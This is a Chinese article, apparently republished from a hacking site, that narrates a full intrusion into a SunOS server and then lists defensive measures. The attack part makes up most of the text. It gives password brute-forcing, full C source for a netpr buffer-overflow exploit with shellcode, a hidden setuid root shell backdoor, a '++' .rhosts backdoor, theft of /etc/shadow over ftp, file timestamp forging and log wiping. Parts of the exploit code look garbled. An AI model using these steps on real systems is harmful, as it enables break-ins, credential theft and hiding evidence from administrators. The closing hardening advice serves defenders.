网络通信 频道

Unix系统的攻击和防范(2)

由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序——got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志“加工”一下。它的用法是:got! -n 用户的姓 目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。
bash$ got! -n wan 202.202.0.8 walter
Attempting...

   N分钟以后…………

Failed!
bash$

   见鬼!失败了一个,再试下一个:

bash$ got! -n lee 202.202.0.8 dennis
Attempting...
Failed!
bash$

   再次失败,已经浪费了不少时间了!:-(“失败是成功之母”,不要灰心,接着来:

bash$ got! -n xiong 202.202.0.8 Power
Attempting...
Bingo!!!
The password of user ''power'' is ''xiong99''! Good luck!
bash$

   哈哈,得手了!终于搞到一个账户了——用户名:power;密码:xiong99。赶快用telnet吧!

bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10
Sun Microsystems Inc. SunOS 5.6
You have mail.

   进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人:

$ w
13:07pm up 61 day(s), 3 users, …………
User tty login@ idle JCPU PCPU what

root pts/0 11:49am tail -f syslog
smith pts/5 12:13pmls -l *.c
power pts/7 13:07pm w

   乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节:

$ uname -a
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

   在看看这个用户的环境设置:

$ set
HOME=/export/home/power
HZ=100
IFS=
LOGNAME=power
MAIL=/var/mail/power
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=China

   再看看有没有gcc,没有这玩艺,那就……@#$%^&*!

$ gcc
gcc: No input files.

不错,编译器还“健在”,没被删掉。现在,我们就开始溢出吧!^_^
$ cd
$ pwd
$ /export/home/power
$ mkdir ...
$ cd ...
$ vi ./.of.c

file://Here is the C source code for overflow in SunOS.
#include
#include
#include
#include
#include

#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e"; /* mov %sp,%o0 */

static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv)
{
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");
if(argc==1)
{
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
b=&buffer[5000];
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}

   上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。接着输入一大串代码,最后按:wq保存并退出vi。我们看看源代码是否生成了:

$ ls -al

total 1330
drw-rw-rw- 7 power user 1999 Jul 4 19:07 .
drw-r--r-- 35 root root 1999 Jun 29 16:52 ..
-rw-rw-r-- 1 power user 2001 Dec 8 13:15 .of.c

   Ok! 现在编译链接吧!^_^

$ gcc -o .of .of.c
.of.c:17: malformed floating constant
.of.c:18: malformed floating constant
.of.c:23: nondigits in number and not hexadecimal
…………
…………
gcc:[$ Error 2 $]
$

???怎么出错了?!估计是有地方敲错了。只好先用gdb调试,再用vi来修改了,真麻烦!(略去调试过程)…………终于改完了,编译试一试:
$ gcc -o .of .of.c
$

   幸好没出错。Run一下啰…………别慌!看看root还在不在:

$ w
13:31pm up 61 day(s), 1 user, …………
User tty login@ idle JCPU PCPU what

power pts/7 13:07pm w

   就我一个人了?估计忙了一早上,他们肯定饿坏了,都去吃饭去了吧!^_^

$ ./.of
usage: ./.of lpserver
$ ./of localhost
#

   哈哈!成功了!看见提示符变成“#”没有?这就是root的特权标志!

# whoami
root
#

   没错了!哈哈!开始我们的“工作”吧:^_^

# rm -fr ./.of.c
# mkdir /usr/man/man1/...
# cp /bin/ksh /usr/man/man1/.../.zsh
# chmod +s /usr/man/man1/.../.zsh

   首先删掉了源代码文件,然后在/usr/man/man1/下建立一个隐藏目录“...”,把ksh这个shell拷过去隐藏起来,并把属性改成-rwsr-sr--。这是个简单的后门,下次我一进来执行它就可以root了,省时省力。^_^

# cd ..
# cd ..
# pwd
/export/home
# ls
dennis walter power deal jessica smith render
# cd render
# echo ''++'' >./.rhosts
# ls -l
………… .rhosts …………
#

   好,又在render的home里建了一个可以远程登陆的后门。下面把这台主机的shadow传回去,以后可以用John多跑一些密码出来:^_^

# cp /etc/shadow /export/home/power/.../.s
# chmod 666 /export/home/power/.../.s
# exit
$ exit
bash$
bash$ ftp 202.202.0.8
Connected to 202.202.0.8...
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.
Name(202.202.0.8:FakeName):power
331 Guest login ok,send you complete e-mail address as password.
Password:
230:Welcome,power!
…………
…………
…………
ftp>ls
ftp>cd ...
ftp>ls -l
…………
.zsh .s
…………
ftp>get .s
226 Transfer complete.
540 bytes received in 0.55 seconds (1.8Kbytes/s)
ftp>bye
221 Goodbye.
bash$

   顺利地get回来了。再次登陆之:
bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Mon Dec 8 13:21:15 CDT 2001 from 211.50.33.117
Sun Microsystems Inc. SunOS 5.6
$ /usr/man/man1/.../.zsh
# whoami
root
#

   利用刚才作的后门,轻松得到root。别忘了用touch给每个你动过的文件改时间,以免被管理员发现文件被动过!BTW:touch的用法是:touch -t 200112081314 目标文件。然后我们用power的身份telnet一下自己,免得被power下次登陆一下就发现IP有问题:
# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is ''^]''.
SunOS 5.6
login: power
Password:
Last login: Mon Dec 8 13:21:55 CDT 2001 from 202.202.0.8
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail.
$ exit
Connection closed by foreign host.
#

   下面我们要“擦脚印”了,一般需要我们擦的日志有如下几个: lastlog、utmp(utmpx)、wtmp(wtmpx)、messages、syslog和sulog。你可以用vi手动删除,不过我“好心”告诉你,手动一条条地删太麻烦,这里我们使用一个perl写的脚本cleaner.sh,它可以帮我们把PP擦得干干净净 ^_^(这里略去如何将cleaner.sh用ftp传上来,并隐藏起来的步骤):

chmod +x ./cleaner.sh
#./cleaner.sh power
Log cleaner v0.5b By: Tragedy/Dor OS
detection....
Detected SunOS
Log cleaning in process....
* Cleaning aculog ( 0 lines)...0 lines removed!
* Cleaning lastlog ( 19789 lines)...45 lines removed!
* Cleaning messages ( 12 lines)...1 lines removed!
* Cleaning messages.0 ( 12 lines)...0 lines removed!
* Cleaning messages.1 ( 28 lines)...0 lines removed!
* Cleaning messages.2 ( 38 lines)...0 lines removed!
* Cleaning messages.3 ( 17 lines)...0 lines removed!
* Cleaning spellhist ( 0 lines)...0 lines removed!
* Cleaning sulog ( 986 lines)...6 lines removed!
* Cleaning utmp ( 179 lines)...1 lines removed!
* Cleaning utmpx ( 387 lines)...1 lines removed!
* Cleaning vold.log ( 0 lines)...0 lines removed!
* Cleaning wtmp ( 299 lines)...0 lines removed!
* Cleaning wtmpx ( 565 lines)...0 lines removed!
* Cleaning authlog ( 0 lines)...0 lines removed!
* Cleaning syslog ( 53 lines)...0 lines removed!
* Cleaning syslog.0 ( 14 lines)...0 lines removed!
* Cleaning syslog.1 ( 64 lines)...0 lines removed!
* Cleaning syslog.2 ( 39 lines)...0 lines removed!
* Cleaning syslog.3 ( 5 lines)...0 lines removed!
* Cleaning syslog.4 ( 3 lines)...0 lines removed!
* Cleaning syslog.5 ( 210 lines)...0 lines removed!
# ./cleaner.sh root
…………
擦干净后再如法对root账户炮制一遍。最后……看了一下手表,哇!13:53了,又要上工了,:-( 以后再来消遣你吧!^_^ 现在,我要上工,你就好好休息啰!

# /sbin/shutdown now
…………

   关机啦!Wow!

   §.讨论及防范措施

   好了!我们从上面的例子可以看出,黑客的攻击步骤是如下六个步骤:
   1.收集资料
   2.取得普通用户的权限
   3.远程登陆
   4.取得超级用户的权限
   5.留下后门
   6.清除日志

其中最重要,也是最容易被管理员忽视的是第二个步骤。如果能够得到一个那怕是权限再小的账户,黑客也可以利用各种五花八门的漏洞来提升他的权限,并最终获得root。许多人认为只要对root账户加以注意就足够了,其实不然,如果黑客很容易地进入了主机,那他就会跳过root口令这一攻击难点,直接利用缓冲区溢出来root(如上面的例子就是这样)。因此,大家一定要注意对普通账户密码强度的测试和检查,并强令用户定期更改。
   定期遍历磁盘检查.rhosts文件,这个后门十分危险,它可以直接不用口令而远程登陆。况且现在有不少的工具可以自动扫描这个漏洞,一旦发现一个,黑客们就会像苍蝇闻到血味一样蜂拥而至。如果他们像我一样的“善良”,只玩个shutdown还好说;碰到个把“辣手”黑客来个rm -fr *,你的饭碗估计就会丢了!
   定期检查属性为-rwsr-sr--的文件。这种文件只要一被user执行,他马上就会具有和该文件创造者一样的权限。如果创造者是root的话,结果可想而之。一般黑客们都将shell改成此类属性然后藏起来,便于下次利用。
   不要过分相信日志,因为它很可能是被入侵者加过“工”的。注意留心某些启动时自动加载的文件的内容和时间,因为它们可能会被植入木马。如:/etc/rc.d/init.d/network,就是在网络服务启动时自动加载的。
   使用MD5保护自己的二进制程序。MD5在发现/bin、/sbin等目录下的文件被替换时会报警或用Email通知管理员,这可以有效地防止假login、假su的诱骗。
   使用getsniff和rootkit detector等工具查找系统中是否有嗅探器和rootkit黑客工具包,尤其是rootkit,这玩艺危害无穷。
   留心自己的CGI是否有漏洞,现在针对CGI漏洞的扫描工具特别多:如Unix/Linux平台下的messala和hunt等;Win9x/Win2000平台下的Twwwsacn和流光等等。尤其是流光,不论高手还是菜鸟都喜欢用它,真是一副老少皆宜的奇怪景观。^_^
   如果不需要ftp服务,最好关掉它,开着只会后患无穷。黑客可以先将rootkit、特制的su,已修改过属性的shell放在他自己的ftp服务器上,得到普通账户后直接上传到你的机器上并执行之,他就root了。简单吧?
   最后,你要经常了解是否又有新漏洞出现了,要抢在黑客前面补上它(老生常谈了 ^_^)。这里推荐一个我经常逛的安全站点——绿盟科技 http://www.nsfocus.com>http://www.nsfocus.com
   本人才疏艺浅,如有错误之处,还望各路高手不吝赐教crossbow@8848.net

文章转载地址:http://www.cnpaf.net/Class/hack/05121820345020813660.htm

0
相关文章